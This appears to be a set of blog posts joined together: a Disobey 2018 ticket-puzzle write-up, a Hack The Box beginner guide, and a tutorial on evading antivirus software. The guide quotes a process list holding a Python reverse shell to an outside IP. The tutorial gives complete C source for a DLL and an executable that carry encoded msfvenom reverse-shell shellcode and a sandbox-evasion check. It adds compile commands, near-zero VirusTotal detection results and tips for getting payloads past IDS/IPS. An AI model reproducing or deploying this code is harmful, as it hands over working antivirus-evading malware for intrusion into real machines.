This is a writeup for the Disobey 2018 hacker ticket puzzle. There were 50 “hacker” tickets available and the puzzle was open for about a month. It was a bit tougher this time than it was in previous years.

Spoiler alert

WARNING: This obviously CONTAINS SPOILERS. Do not read further if you want to solve it yourself! And you should try (harder)!


It began with the URL http://puzzle.disobey.fi.

 

Quick recon

First thing I’m used to doing is recon with nmap

nmap -v -sC -sV -oA initial_nmap puzzle.disobey.fi

This quickly revealed two webservers. The other one only replied “Try harder”, a good tip indeed.

The other one had a standard nginx web page.

Screen Shot 2018-09-17 at 10.47.09

HTML source for the test page reveals there’s a resource lorem.html . So I downloaded that, but what to do with the seemingly standard “lorem ipsum” stuff?

At the same time, my standard approach to HackTheBox is to crawl for additional hidden resources left “accidentally” in the web server. So nikto + dirb + gobuster it is.

My normal HTB enumerator uses Kali linux standard lists and some additional ones from the SecLists.

This crawling revealed .bash_history which lead to an SQL file, but that didn’t lead to  anything interesting.

So, back to lorem.html. With this kind of puzzle it’s important to remember that everything is not relevant to the solution, but the relevant hints and resources are provided in the puzzle. I need to remind myself of that when I get stuck.

lorem lorem lorem

Cut it into separate words.

cat pier.sh

#!/bin/bash

for word in $(<lorem.html)
do
echo “$word”
done

./pier.sh < lorem.html | sed s/[\.,]//g|sort|uniq > lorems.txt

and then

cat lorems.txt |xargs -I {} curl -O ‘http://puzzle.disobey.fi/{}’

Now we get

ls -laS

-rw-r–r– 1 root root 3650 Aug 2 09:08 vulputate
-rw-r–r– 1 root root 1421 Aug 2 09:07 lorems.txt
-rw-r–r– 1 root root 11 Aug 2 09:08 Interdum

Okay.. clearly one reply is very different!

It says: “Wrong vhost”

ok, so let’s curl again with another vhost?

curl –header ‘Host: julli.disobey.fi’ http://puzzle.disobey.fi/Interdum
Try harder – admin

So this seems kind of promising, but what is the proper virtual host?

Not one of these.

cat lorems.txt |xargs -I {} curl -o {} –header ‘Host: {}.disobey.fi’ ‘http://puzzle.disobey.fi/Interdum’

It took a while, but the answer was not very complicated after all.

curl –header ‘Host: admin’ http://puzzle.disobey.fi/Interdum
Greetings! Love you <3 – I need -love also

Okay, let’s make some “-love” then..

curl –header ‘Host: admin’ http://puzzle.disobey.fi/Interdum-love

Secrets

Now we find a nice text file.

cat secret.txt
Hi John!

Here is that secret email – encrypted with your favorite PIN-code!

SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu

Base64 decode says “Just kidding – base64 is awesome.”

Heh. Hah. Hoh. We still have test.php there. It is a small file so it can’t be very complicated to exploit it and it’s the only lead we have now.

Perhaps there is a parameter that is exploitable, but what is the parameter name?  There is wfuzz, but let’s be old school.

cat /root/tools/SecLists/Discovery/DNS/namelist.txt |xargs -I {} curl –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?{}=123’

Still no luck. At this point I was very frustrated and angry at myself.

Black hat Python

When I get frustrated in this way I usually write some Python to take full control of the issue. So, I wrote this one-time piece.

Screen Shot 2018-09-20 at 9.23.50.png

This tries sufficiently different values for each parameter name candidate. Given the proper word lists this finally found the parameter name, which was simply “url”.

How to exploit that?

Randomly trying some numbers.

curl -v –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=1234561251’* Trying 185.86.149.26…

Resulted in “504 Gateway Time-out”. Hmm.

curl -v –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=213070643/index.html’

Gave out ” HTTP/1.1 403 WAF”.

It’s a HTTP proxy! The numbers in the URL can be translated into IP addresses which enables us proxy GET requests. Let’s try the other web server in the puzzle machine through this (as the call comes from the localhost, it might behave differently):

curl –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=0:8021%2f2’

And in fact, it does! There is a one character different in the reply “Try harder!1” vs. “Try harder!” but this doesn’t lead to anything interesting.

Proxy as a port scanner

This is one of the standard tricks – if there is an open proxy, it can be used to scan the internal network for ports and services not directly accessible from the outside. Let’s go!

Very crude scanner in Python.

Screen Shot 2018-09-20 at 9.28.35.png

We find SSH server and.. finally, something very interesting came up!

FOUND !! 0:40053 // 51
H4sIAI5uYVsAA+3STUgUURwA8Oe2OyyGHyF4qMtb6KAXm+eubq7rmq5bFuWaHxGWyrrO5ObuzjI7Yx+o+47mQTp16rRHE9HwEBjjhjVUsBHdqktQxtQgSpgHE+utRkGEdBEJ/j8Y3vzn//HewOuTJCUqhfoFGe0ZnuerXS6cW93VVdsrX7kTM4QnboKJ0+nkK6vdlTzBPHHyLjfC/N4d6Tc1qYRkdpRBV4zsVsfKRHGX/M7P4F/rf+KzbRihzY2x0vYUyZC35Bl5RdbJd7L8EA1PvJzITLybML7No9FxVsAv8+uzlgUbmrPMHMiWyHalZDZv64m5zH/IlgTVj9rVlPHe8ule3n7/FPhHnZMiyYi1HJJN28pGVHeszmDroXQN9XAeqqDoVibtoSZq17la6tQ5L60wLV36NJ+xYmtxuo6lVnXORyvS9VTnTuSy01svrLZ0AwsbqUfn/PS4zjVRXucCtFLnTlKyUEONFqT1poznSBtNGY/RwlFq3ETU56IN6jHqq6J+tYz6qmmj6qA+N21SD2v3U8ZdpLG6O0hzUOM20t6kjHG0saYtpYwEoiMWp+rUAxY3HbETpVwP2IkeKKzXA0V1P2/1umaj80XIP+VFir3s6dajsTzzy+KDFW1jbQ5lS7125aC3QDkyV5gtnjSXgzq75IUz9mzxDGYPW83XLC5g7/nZ4sXOW0sXtI6UYUc9hpWdwtycsmcULtdsfl1ElxzduLWh5bQfozZJVQQcbM8vQE2R5CCWhVA/FkORqNDvYN9aZen6DZwU5CFBxoqE1aSARUnGoqCEByLxK1hklUlcJiWUiBQPRcs9GPmleFwI5+JcRywiy7mG7ZF4KBLCidxMVtcciipsRAXbJsjGi1HpGi7zDwjhwaQaY33JWIhtUo5Z/tSZi83hs8HucwPnO/raYpc7E73RZKS3K9wTRyz9pwZ/Y9M+XFYAAAAAAAAAAAAAAAAAAAAAAAAAAPAXPwDTbo0GACgAAA==1

So what is this?

cat pokale.txt | base64 -d > pokale.bin
file pokale.bin
pokale.bin: gzip compressed data, last modified: Wed Aug 1 08:25:50 2018, from Unix

Ok, so a zip file. Our next step obviously.

Mystery binary

First standard thing is to run strings.

bootloader
000644
000765
000024
00000010171 13330267201 013047
ustar
00k4m1
staff
000000
000000
[!] PANIC
Route OS
Disk read failed!
Proxy server to use for fetching files (optional):
Connection to mirror failed via proxy:
Halting.
Overflow (Checksum mismatch)
GJXHcLO]MhQTbRm\Up_lsi_Zc^n
ACBD

So a bootloader, but two strings are interesting. “00k4m1” means the great k4m1 has signed this binary! In the end, “GJXHcLO]MhQTbRm\Up_lsi_Zc^n” is very likely a decryption key or some secret we have to dissect.

Let’s try a shortcut.

Screen Shot 2018-09-20 at 9.30.37.png

Sometimes we could be lucky, but not today. So let’s look at the binary, properly.

There is nothing wrong with radare2 but I used IDA free in the end. I didn’t actually run the bootloader code at all. I just analyzed it and figured out what it does without stepping and debugging. The initial guess was correct – we need to decrypt the weird string, but it just wasn’t simple XOR.

Screen Shot 2018-08-06 at 16.40.25.png

Replicating the “decryption” algorithm in Python we get something sensible out of it:

Screen Shot 2018-09-17 at 11.28.07.png

The binary also points towards the other web server we found with the nmap so clearly we need to do something there, but there is no clear URL that gives us the ticket.

Alternate solution to binary

This is from another ROT member, Jarkko Vesiluoma:

cat something.base64 |base64 -d > bootloader.gz

$ file ../bootloader2
../bootloader2: gzip compressed data, last modified: Wed Aug 1 08:25:50 2018, from Unix

$ file bootloader.raw
bootloader.raw: DOS/MBR boot sector
qemu-system-x86_64 -k fi -drive format=raw,file=bootloader.raw -s

other terminal: r2 -D gdb gdb://localhost:1234

In r2: vvv and then qq

Basically the memory of the running bootloader is accessed to get the decrypted value. It’s running inside a virtual machine so this is easy. In a way this is “cheating”, but this is a nice way to analyze an unknown binary, as long as potentially harmful actions are contained inside the virtual machine.

 

The final insult

Manual guessing is frustrating..

Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021?GIVE_GIVE_GIVE_ME_MY_TICKET”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021?ACBD=GIVE_GIVE_GIVE_ME_MY_TICKET”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021?GIVE_GIVE_GIVE_ME_MY_TICKET=ACBD”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021/GIVE_GIVE_GIVE_ME_MY_TICKET”

So Python it is again! I was getting really worked up at this point after all this effort. How many times do I need to “try harder” to get the ticket?

Screen Shot 2018-09-20 at 9.31.50.png

 

We still need to find the right parameter list, but there is a reasonable one from the SecLists at our disposal.

python final_insult.py /root/tools/SecLists/Discovery/Web_Content/burp-parameter-names.txt
using word list /root/tools/SecLists/Discovery/Web_Content/burp-parameter-names.txt
FOUND !!data
HACKER! https://holvi.com/shop/Disobey/product/c995bdab7374d27f1250f1071c4a9b07/

So finally! There is a ticket.

Screen Shot 2018-08-06 at 16.24.18.png

You could have also done it with something like this using wfuzz:

wfuzz -c -z file,Web-Content/raft-large-words.txt –filter “c=200 and h>11” -f disobey.1 -Z -H ‘Host: admin’ http://puzzle.disobey.fi:8021/?FUZZ=GIVE_GIVE_GIVE_ME_MY_TICKET

Closing words

I got really frustrated at some points during this process, but luckily I got some motivational push from other team ROT members (thank you Jarkko and Putsi). We solved this on our own, without really co-operating together, but it still helped to me to know that I’m wandering roughly to the right direction. Our solutions were different in the end as I like writing Python scripts when things get difficult. The other ROT guys are perhaps slightly more tool oriented.

I really liked the binary challenge part and overall I think the difficulty level was correct.  It wasn’t too easy to get the hacker ticket, but perfectly doable for a motivated hacker.

 

 

What is Hack The Box ?

A week ago I started hacking virtual machines and challenges at Hackthebox.eu and it has been a lot of fun. Hack The Box provides it’s users with a virtual environment with dedicated vulnerable machines and some CTF-style challenges. This post contains some pointers and introductory tips for aspiring would-be hackers, but no spoilers and you still need to solve the invitation code.

At my day job I try to ensure that the software we produce is secure. Sometimes it involves doing penetration testing, but I’m not doing the fancy Red Teaming stuff at all. If I find technical security flaws or process issues, they are fixed and there’s rarely any public disclosure.  There might be a review and retrospective, but no one pays me to chain cool ROP gadgets to prove that a buffer overflow can be very dangerous. Now Hackthebox.eu has provided me with an excuse to do that other kind of hacking too.

How to get started?

You’ll need some basic tools. Kali Linux in a virtual machine and some HTTP proxy (Burp or ZAP) are sufficient for most of the things. Inside Kali, nmap, dirb, nikto and Metasploit have been my most useful tools so far.

To get an idea about the hacking (as well as some tips), watch IppSec’s great videos about pwning the retired machines. For example, watch the  video about pwning Popcorn.

Pwning machines

It appears that first you need to recon the machine by running nmap and dirb and other scanners to find something exploitable. Often it’s a web application, but it can be something else too. When you find “something”, try to exploit it somehow. Get some ideas about how to find & exploit that “something” from High on Coffeepenetration testing cheat sheet.

I’m not a huge fan of having to guess something artificial, but that’s not totally unrealistic. I’m not very good at that it seems, but hopefully I’ll get better. Just keep in mind, there are steps where you may need to simply guess something.

Getting from user to root

I suck at pwning Windows machines, which is something I intend to practice next, but
these links offer some ideas for the Linux/Unix systems:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://www.rebootuser.com/?p=1758
https://www.rebootuser.com/?p=1623

Of course you need to understand how Linux systems work in the first place. Crontab, file system permissions, sudo and all that other basic admin stuff.

Binary reverse engineering challenges

In order to reverse binaries in the challenges, you need some knowledge of x86 assembly. The easier ones are not really difficult, but if you can’t read assembler code, it will be quite hard.

I have tried x64dbgHopper, radare2, IDA (free version) and the good old OllyDbg so far. I also downloaded Binary Ninja, but haven’t really tried it yet. While I don’t want to debate the merits these tools, I have found x64dbg most to my liking so far. Gives me the same vibes I felt with the ancient Turbo Debugger about 25 years ago.

My strategy so far has been straightforward:
1. Analyze what the program actually does.
2. See if there are interesting strings inside and how they are used.
3. Try to get rid of obfuscation and anti-debugging stuff by rewriting the code.
4. Try to make sense of the remaining final checking code. (single step, breakpoints etc.)
5. Perhaps write a small Python script to reveal the flag.

Some links which might be useful:
https://www.u235.io/single-post/2017/07/23/Simplistic-Binary-Patching-With-Radare2 https://erichokanson.me/2015/04/17/reverse-engineering-with-ollydbg/

Simply replacing the annoying stuff with NOP instructions is a good starting strategy. If the state of the system (registers and flags) are not affected, this works pretty well.

radare2Get rid of the pesky antidebugging code!

It’s not real life

I have had fun with Hack the box (as well as some frustration also), but it has been extremely interesting to peek at what other people are doing on the machines. Here are some of my findings.

Scripters are running wild

Here’s a sample of process list from one of the machines:

www-data 2555 0.0 0.3 18904 3604 ? S 10:24 0:00 /bin/bash ./LinEnum.sh -t
www-data 2556 0.0 0.3 19004 3464 ? S 10:24 0:00 /bin/bash ./LinEnum.sh -t

www-data 1428 0.0 0.0 4508 704 ? S 10:15 0:00 sh -c cd /tmp; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket
.SOCK_STREAM);s.connect((“10.10.15.228”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ 2>&1
www-data 1429 0.0 0.9 39980 9668 ? S 10:15 0:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect((“10.10.15.228”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
www-data 1430 0.0 0.0 4508 784 ? S 10:15 0:00 /bin/sh -i
www-data 1443 0.0 1.2 256212 12588 ? S 10:15 0:00 /usr/sbin/apache2 -k start
www-data 1493 0.0 0.6 32168 6680 ? S 10:16 0:00 python -c import pty;pty.spawn(“/bin/bash”)

www-data 1494 0.0 0.3 18216 3064 pts/3 Ss 10:16 0:00 /bin/bash
www-data 1501 0.0 0.0 4508 752 ? S 10:16 0:00 sh -c cd /tmp; python -c “import pty; pty.spawn(‘/bin/bash’)” 2>&1
www-data 1502 0.0 0.6 32168 6780 ? S 10:16 0:00 python -c import pty; pty.spawn(‘/bin/bash’)

In a real system, this should light up the IDS/SIEM like a christmas tree. Even a cursory look by the administrator with ps -Af would immediately reveal that something bad is happening.

Therefore, in a real pentest (of course neither of us would do any illegal hacking), the tester would run something innocent, like testrunner.sh, which would hide the nefarious activities from immediate discovery. It would be in some obscure innocent folder or completely reside in memory. Most certainly, a professional wouldn’t upload anything named “reverse-shell.php” to the server.

Reverse shells still would show up in network connections unless masquaraded with some network magic, but that process list is just plain funny 🙂

It’s quite different also for the reverse engineering. Especially reversing unknown (potential) malware is something I would approach with extreme caution. Just single-stepping and setting breakpoints in a debugger would not be enough to contain a malicious binary.

So if you want to practice for real life scenarios, I would suggest that instead of going straight for the flag, you should practice the same precautions and steps you would need in the real world. Having fun is perfectly fine, nothing wrong with that.

Don’t get accidentally exposed!

As a first step, don’t hack with your important machine. As a minimum, shut down the VPN when not using it and use a virtual machine (or a burner machine) when you connect to a potentially hostile unknown network.

A lot of people seem to be running python -m SimpleHTTPServer or something similar to host the payloads to be downloaded by the target machine. Please consider that there are other hackers working on the same machine and if you expose your hard disk to the target machine, someone else could download something interesting from your computer. Like, say, your private ssh key. SimpleHTTPServer is super handy, but it does not care about security!

Either work with something which only allows downloading your exploit.exe or immediately shut down the server after your tools have been downloaded on the target.

Here’s a way to do it with netcat:

1. On the target, start listening:
nc -l 8080 > bash.sh

2. On your attacker machine, send your evil payload:
nc -w 3 localhost 8080 < LinEnum.sh

Whether this trick works depends on the firewall rules, but as a minimal precaution, shut down your server on your machine immediately after the file transfer.

Some final tips and ideas

Tip 1: Learn Python

Python is great for quickly cooking up some automation and helper programs. You don’t need static types or classes to structure your code. But make no mistake: Python is definitely a serious programming language and not just a “scripting language”.

Here’s an example from a script I wrote to automate guessing passwords and users for a certain service.

Screen-Shot-2018-03-07-at-14.39.05.png

Tip 2: Keep notes

Keep notes on the challenges and machines. I have a subfolder for each machine with more or less incoherent notes on what I have found and what I haven’t yet figured out about the machine. I may put this stuff on a private git repository to get it better organized.

Tip 3: Use the google

This is kind of obvious, but enumerate the versions and search for possible exploits in exploit-db and other places. I precompiled some exploits already and kept the binary executables in addition to source code. I might need some sort of Excel sheet or something to keep track of these if there are more to come.

Happy hacking!

It’s worth mentioning that Hack The Box contains more than just binary reverse engineering and pwning machines. I left out advice for some challenges, like steganography, which I haven’t really done. I’m not qualified to give any advice on that.

If you now feel the itch to try out some “real” hacking, please do. The best way to learn is by doing and Hack The Box is a great platform to practice on.

Evading Antivirus softwares

0x00 General

Foreword: As the CIA Wikileaks articles mention, antivirus softwares can be bypassed pretty easily. Althought this article is primarily for penetration testing purposes, it also reweals how easy it is to circumvent antivirus softwares and restrictions.

This article should show some ideas about how hackers work. Althought I found this myself, there is identical tutorials in the internet and mostly because of that, I’m writing this. This article covers some basics that are used to bypass the antivirus softwares, but by no means doesn’t cover all means to bypass them. Note: As this is an example, some methods are not as polished as they could be.

Sometimes in penetration testing you may end up with a situation where antivirus software always catches up your payloads. In these cases you need a good way to bypass the antivirus softwares. The method described here is a pretty general, but works with pretty much every antivirus there is.

Method to bypass antivirus detection mentioned here is reported to one antivirus company on February 2016, but from their view, this is more of an undetected malware. As the basic payload is done with msfvenom, one could argue if the payload / method should be detectable by an AV.

The method bypassing antivirus software also evades the sandboxing method. Evasion is as simple as trying to open some file that is sure to exist on every installation, e.g. “c:\windows\system.ini” – file. If it doesn’t exist, we’re in a sandboxing environment done by antivirus software so we just don’t do anything. When again in a normal environment, file is found and payload is executed.

By  sending this method to Virustotal.com, detection rate was 1/59. Virustotal.com is a site, where the service checks the sended file against many antivirus engines. Also, by sending the file there, the antivirus companies get the file as a sample.

Software used:

  • Metasploit (msfvenom, multi/handler)
  • MinGW
  • Notepad

0x01 Restrictions / limitations

It should be noted that the Windows Defender and probably most antivirus softwares nowdays complain about “some program is trying to connect to internet”. Of course, in penetration testing situation, this can be a showstopper. Nonetheless, if you manage to get a shell by changing the .dll of some software and/or tricking the user to run the executable, you may easily get a shell from the victim. And it’s possible to migrate the shellcode to some existing process that already has the access to internet, use existing programs to run malicious code to bypass whitelisting restrictions. There is many available methods to avoid the restrictions.

Of course, there could be some Firewalls/IPS/IDS systems in victims network, but they could also be easily avoided by e.g. using SSL encoded connection back to victim, but that’s another matter and not in scope of this article.

 

0x02 Setting up the payload

The payload was generated with ‘msfvenom’ that is part of the Metasploit package. With msfvenom, it’s possible to create executables and dll – files straight out of the box, but since we’re trying to evade the  antivirus, we create the payload in C-style output format with the following command:

msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c

As can be seen, we are also encoding the payload five times with x86/shikata_ga_nai – encoder, port is 4321 and destination for payload to contact is 10.0.0.8. Our payload is now ready to be used for testing in our code. To bypass IDS/IPS systems, payload using encrypted communications back to attacker could be used. This way even the more advanced firewalls could be bypassed since they can’t decrypt the connection.

 

0x03 DLL Method

One method to bypass antivirus softwares can be e.g. to create a malicious .dll – file and replace some existing .dll with it by a number of methods. As usually .exe – files are considered dangerous, users normally don’t recognize .dll – files as malicious. For testing purposes, this code snippet is just a very crude .dll – file that can be run from command line and doesn’t have any other functionality.

#include 
#include
#ifdef EXPORTING_DLL
  extern __declspec(dllexport) void Checksandboxing() ;
#else
  extern __declspec(dllimport) void Checksandboxing() ;
#endif


extern "C" BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
) {
switch(fdwReason) {
    case DLL_PROCESS_ATTACH:
         CheckSandboxing();
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    default:
        break;
    }
return TRUE;
}

void CheckSandboxing()
{
  /** Test for some existing system file, sandbox evasion **/
  std::ifstream dllfile("c:\\windows\\system.ini", std::ios::binary);
  if (!dllfile)
  {
       MessageBox( NULL, TEXT("Running in sandbox"), TEXT("Sandbox"), MB_OK);     
  }
  else
  {
       MessageBox( NULL, TEXT("Real system, running exploit"), TEXT("Real"), MB_OK);      
       
       
    /** msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c  **/
    unsigned char shellcode[] =
    "\xbd\xf8\x13\x49\xa2\xda\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
    "\x6f\x83\xc2\x04\x31\x6a\x0f\x03\x6a\xf7\xf1\xbc\x19\x44\xae"
    "\x68\x86\x91\x90\x4c\x42\x01\xd9\x32\x82\x80\x90\xa5\xe5\x4f"
    "\xc7\x36\x5b\x7b\x64\xfd\x67\x22\xc7\x73\x73\xbb\xf3\x22\x3e"
    "\x09\x29\x81\x17\x8d\xb9\x87\x1f\xd4\x8c\x23\xc9\x65\x07\xc9"
    "\xc0\xd9\x46\x6d\xe3\xff\x34\x31\x74\xa7\x67\xec\x23\xb4\x53"
    "\x83\x31\xbe\x71\xda\x48\x30\x28\x16\x1e\xb9\x5e\x50\xa5\xf0"
    "\xe7\x80\x07\x07\x04\x91\xab\xfc\x2b\xd1\x74\xcd\x3d\x11\x7e"
    "\x77\xf5\x4b\xd4\x6a\x9f\x2d\xec\x28\x72\xd6\xa7\x87\x56\x97"
    "\x89\xe1\x2b\x46\x72\x04\x56\x23\xd2\x17\x96\x62\x85\x7c\xd0"
    "\x9e\xe8\x24\x92\x59\x3f\x58\x3e\xf4\x66\xf0\xdf\x56\xf0\xf0"
    "\x72\x96\x21\xae\xb7\x9c\x26\x33\x7d\x11\xec\x14\x44\x0c\xb9"
    "\x0d\x50\xca\xb6\xf6\xb3\xab\xd7\x93\x6d\xfb\xe9\x20\x6b\x0f"
    "\xf4\xda\x61\xb3\xed\x40\xf9\xea\xcc\xba\xd4\x92\xbe\x15\x11"
    "\xe4\xba\x22\xdc\x43\xb7\x15\xeb\x5d\x45\x79\x41\xa5\x25\xe7"
    "\x8e\xa2\x8e\x97\x7d\xae\xf4\x1e\x50\x22\x4c\xb7\xfc\x08\x21"
    "\xed\xb4\x1d\xde\xff\x1a\x7a\x37\x98\xa3\xcd\x47\xfa\x10\x1a"
    "\xff\x57\x52\x6c\xff\x39\x92\xe6\x53\x05\x67\xd9\xcf\x51\x01"
    "\x4f\x0c\x18\x66\x81\x4a\x02\x2d\x79\xe5\x0c\x80\xe3\xe4\xce"
    "\x61\x18\xc2\x9c\xc8\xe5\xda\x31\xad\x2b\x63\xe3\xae\xf2\x81"
    "\xd0\x0d\x26\xd9\xe5\x64\x73\x8a\x70\x71\x2f\x88\x4c\x72\xba"
    "\xef\xd5\x26\x39\x2c\x42\xe6\xd9\x93\xb7\x69\xd9\x49\xcd\x72"
    "\x10\x52\x1e\x76\x11\xb5\xa9\x6c\xc7\x45\xcc\xa9\xf0\x83\x75"
    "\xa7\x85\xcb\x34\x0a\x50\x1d\xf5\xe5\x6c\xbc\x88\xda\xe1\x0f"
    "\xa9\xe8\xe8\xf0\xc4\x1e\x83\xa1\xdf\xad\xaa\x9f\x1d\xa7\x82"
    "\x71\x6c\xbd\x8b\x02\x6d\x54\xf7\x42\xae\x68\x24\x9f\xf8\x73"
    "\xb9\x8a\x67\xa6\xef\x32\xdf\x21\xf2\x9a\xea\x10\xc6\x19\xcf"
    "\x11\x55\x61\xfc\xfe\xf1\x51\x49\xbc\x04\x9f\xe0\x9a\x09\x4e"
    "\x19\x2f\xb1\x20\x76\xac\x90\x3d\x48\x2b\x24\x23\xa6\xa1\x2e"
    "\x85\x35\xf7\x47\x8f\x49\xa3\xa0\x7a\x65\x22\x17\x5d\x72\x31"
    "\xb3\x2e\x38\xdf\xe7\xea\x83\xdd\xdf\xdd\x9c\xdb\x5a\x46\x4d"
    "\xd3\xa0\x31";
    


    LPVOID lpAlloc = NULL;
    void (*shellfunc)();

    /** Allocate memory for shellcode (read,write,execute) **/
    lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if(lpAlloc == NULL)
    {
        printf("Error allocating memory!\n");
    }
    else
    {
        memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1);
        shellfunc = (void (*)())lpAlloc;
        shellfunc();        
    }
    
    /** Sleep for a bit **/
    Sleep(500);
  }
}


Compilation of the .dll is done as follows with MinGW

"c:\MinGW\bin\mingw32-g++.exe" -c c:\dll_test\main.cpp
"c:\MinGW\bin\mingw32-g++.exe" -shared -o exploittest.dll main.o -Wl,--out-implib,libexample_dll.a

Now the .dll can be checked with antivirus software, checking with Virustotal.com:

Not detected by any (0/60) antivirus software at virustotal.com.

Now, to test the exploit, we first would setup a meterpreter multi/handler to wait for the connection:

And now we can run the payload from the exploit with following command on the command line:

Rundll32 exploittest.dll,@DllMain

What happens next, is Windows Defender or antivirus software will popup a question that ‘exploittest.dll wants to connect to internet…’, if it is accepted, shellcode inside .dll connects back to the attacker and shell is now made! Of course, in real situation this is a showstopper, but shell isn’t the only thing that can be placed inside the .dll – file.

0x04 Executables

As with the .dll – file, sandbox evasion is done by first checking for some existing system file. If file is found, code execution is moved to the payload.

Code:

#include 
// msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
char code[] =
"\xdb\xda\xd9\x74\x24\xf4\x5e\x33\xc9\xb8\xcd\x9f\x5f\xe9\xb1"
"\x6f\x31\x46\x18\x83\xee\xfc\x03\x46\xd9\x7d\xaa\x34\x23\x58"
"\x21\xe3\x57\x06\x74\x2d\xf6\x97\x42\x9b\x31\x56\x3a\xed\xb4"
"\x80\x38\xc8\x32\xb0\x4b\xc6\x1e\x22\x25\xdb\xc1\xd8\x32\x06"
"\xc8\x19\x31\x8f\x0f\x09\x7c\xf8\x63\x78\x9d\x37\x00\x37\x86"
"\x02\xf6\x63\xe6\x8b\xfc\xc1\xba\x1a\x88\x74\x60\xed\xc0\xad"
"\x2a\x5b\xf2\xd3\x80\x19\xa9\x0e\x2e\x0c\x88\x36\xcf\xdb\x27"
"\x84\x06\xbf\x25\x91\x64\x09\x1d\xf1\x19\x2f\xd6\xa2\x6d\x6d"
"\x2a\x4e\xeb\xa4\x00\x91\x35\x57\x28\xbd\xd6\x10\x13\xad\x5d"
"\xea\x23\x25\x9d\x14\x11\xc5\x8e\x8e\x46\x7b\x28\xe1\x3b\xf3"
"\xd2\x4e\x39\xf0\x5d\x4a\xce\x64\xa7\x82\xc2\x7f\x72\x34\x96"
"\xb4\xf9\x8d\xfe\x94\x11\x37\x88\xc3\xd7\xcb\xb5\x37\xb3\x1c"
"\xc2\x58\xcc\x08\x37\x35\xea\x67\xff\x97\x01\x92\xf8\x33\x82"
"\x5d\x3e\x48\xff\xe3\x96\x75\x18\x95\xcf\xc4\x07\xe5\xa4\x73"
"\x38\xd4\x21\xe1\xb4\x96\x40\x52\x76\xdf\xe1\x60\x2c\xaf\x5d"
"\xb3\xe4\xff\x89\x6b\x49\x3e\x7e\x2d\x0b\x33\xa0\x54\x8d\x9b"
"\x40\x5b\x2e\xfe\x62\x1f\x48\x21\x69\x6e\x99\x08\xc2\xc2\xc3"
"\x69\x53\x3f\x84\x8e\x79\xdb\xca\xeb\x3f\xcf\xd8\x8c\xf8\x0a"
"\xed\x59\xcb\x6e\x82\xb4\x07\x00\xc3\x13\xed\x2e\x67\xf5\xc8"
"\xfd\x1c\x24\x6a\x95\x3d\x90\x43\x29\xba\x29\xff\x22\x2b\x48"
"\xa7\x7d\xb0\x3d\x56\x71\x30\x95\xdd\x69\x51\x2e\x0f\x3d\x5d"
"\x19\xbd\xfa\x06\xf9\x02\xfd\xed\x08\x27\xb8\x21\x11\xd7\xc4"
"\xd5\xca\xbb\x2a\xd4\xe7\x64\x65\x81\x50\x7b\xbd\xbd\xcb\xc0"
"\x15\x05\xff\x78\xee\x8b\x38\x2b\x28\x52\x56\xb2\x49\xc4\x44"
"\x39\xba\x76\x84\xeb\x0d\xa4\x53\x38\x4e\x77\x05\xc4\xa7\x94"
"\xd4\xe9\xbf\x1d\xb7\xc1\x6f\x5f\xa6\x62\xe4\x91\x48\x3c\xd4"
"\x6e\xce\xf1\x5f\xfd\x6c\x52\x8c\x59\x5c\x71\x63\x30\x81\x2e"
"\x63\x6f\xbc\x43\x0b\xab\x37\xdb\xbf\x48\x22\xda\xdb\x3d\x04"
"\xab\x5b\x6e\xfd\x3e\xfb\xfe\xb8\x4b\xa8\x72\xeb\x71\xbb\x0a"
"\xeb\xb2\x56\xcb\xb9\x14\xcf\x7a\xa5\xc3\x5d\x34\x4f\xfa\x55"
"\x54\x9d\x10\xe5\x26\xbc\x61\x56\xc7\x79\x8d\x64\x7a\x06\x50"
"\x07\xdd\xc6";

int main(int argc, char **argv)
{
  FILE *fp = fopen("c:\\windows\\system.ini", "rb");
  if (fp == NULL)
  return 0;
  fclose(fp);

  printf("Launching...again...");
  int (*func)();
  func = (int (*)()) code;
  return 0;
  (int)(*func)();
  printf("...DONE!");
}

Compilation is done simply by issuing:

c:\MinGW\bin\mingw32-gcc.exe exploittest.c -o exploittest.exe

Afterwards checking with virustotal.com, only Baidu noticed that it is a Trojan. Note to myself: Have to check why Baidu finds this.

To test this, a multi/handler could be setup as in x03 DLL Method (note, different payload) and by simply executing the file. Same nagging from Windows defender and/or antivirus software apply to this also.

0x05 Malicious payloads through IPS / IDS systems

In case there is IPS / IDS systems in front of the victim, these files should pass right through them, but they payloads would get caught. If actual files would get caught, just create a password protected .zip – file and get the files through HTTP for example. So, something like windows/meterpreter/reverse_https could be used as payload with following changes to parameters:

  • EnableStageEncoding true
  • MeterpreterServerName Nginx
